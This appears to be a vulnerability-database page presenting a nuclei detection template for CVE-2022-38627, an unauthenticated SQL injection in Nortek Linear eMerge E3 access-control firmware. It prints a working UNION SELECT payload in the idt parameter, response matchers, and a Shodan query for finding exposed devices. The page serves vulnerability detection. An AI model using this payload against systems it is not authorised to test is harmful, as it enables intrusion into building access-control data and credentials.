Browse / CVEs / CVE-2022-38627
CVE-2022-38627· nortekcontrol / emerge e3 firmware· CWE-89
Nortek Linear eMerge E3-Series - SQL Injection
Nortek Linear eMerge E3-Series 0.32-08f, 0.32-07p, 0.32-07e, 0.32-09c, 0.32-09b, 0.32-09a, and 0.32-08e were discovered to contain a SQL injection vulnerability via the idt parameter.
Impact
Unauthenticated attackers can exploit SQL injection in the idt parameter to extract sensitive access control data including badge information, user credentials, and building security configurations from the eMerge access control system.
Fix
Update Nortek Linear eMerge E3-Series firmware to a patched version that uses parameterized queries and properly sanitizes the idt parameter.
How to confirm it
Send: GET {{BaseURL}}/badging/badge_template_print.php?tpl=aa.xml&idt=1337%20UNION%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,%27{{rands…
Positive when: matches /{{randstr}}CVE24010\.[0-9]+-[0-9]+[a-z]+/ AND contains "Print Badge" and "btnPrint"Run it with nuclei: nuclei -id CVE-2022-38627 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2022-38627
info:
name: Nortek Linear eMerge E3-Series - SQL Injection
author: daffainfo,omarhashem666
severity: critical
description: |
Nortek Linear eMerge E3-Series 0.32-08f, 0.32-07p, 0.32-07e, 0.32-09c, 0.32-09b, 0.32-09a, and 0.32-08e were discovered to contain a SQL injection vulnerability via the idt parameter.
impact: |
Unauthenticated attackers can exploit SQL injection in the idt parameter to extract sensitive access control data including badge information, user credentials, and building security configurations from the eMerge access control system.
remediation: |
Update Nortek Linear eMerge E3-Series firmware to a patched version that uses parameterized queries and properly sanitizes the idt parameter.
reference:
- https://github.com/omarhashem123/Security-Research/tree/main/CVE-2022-38627
- https://omar0x01.medium.com/15cebd072ed6
- https://nvd.nist.gov/vuln/detail/CVE-2022-38627
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-38627
epss-score: 0.04691
epss-percentile: 0.91865
cwe-id: CWE-89
cpe: cpe:2.3:o:nortekcontrol:emerge_e3_firmware:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: nortekcontrol
product: emerge_e3_firmware
shodan-query:
- http.title:"Linear eMerge"
tags: cve,cve2022,emerge,nortek,linear,sqli,vkev,vuln
http:
- method: GET
path:
- '{{BaseURL}}/badging/badge_template_print.php?tpl=aa.xml&idt=1337%20UNION%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,%27{{randstr}}%27||%27CVE%27||(7*7*7*7)||SWVersion,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL%20from%20version'
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- '{{randstr}}CVE24010\.[0-9]+-[0-9]+[a-z]+'
- type: word
part: body
words:
- "Print Badge"
- "btnPrint"
condition: andReferences
- https://github.com/omarhashem123/Security-Research/tree/main/CVE-2022-38627
- https://omar0x01.medium.com/15cebd072ed6
- https://nvd.nist.gov/vuln/detail/CVE-2022-38627
Use this check only on systems you are authorised to test. Where the data comes from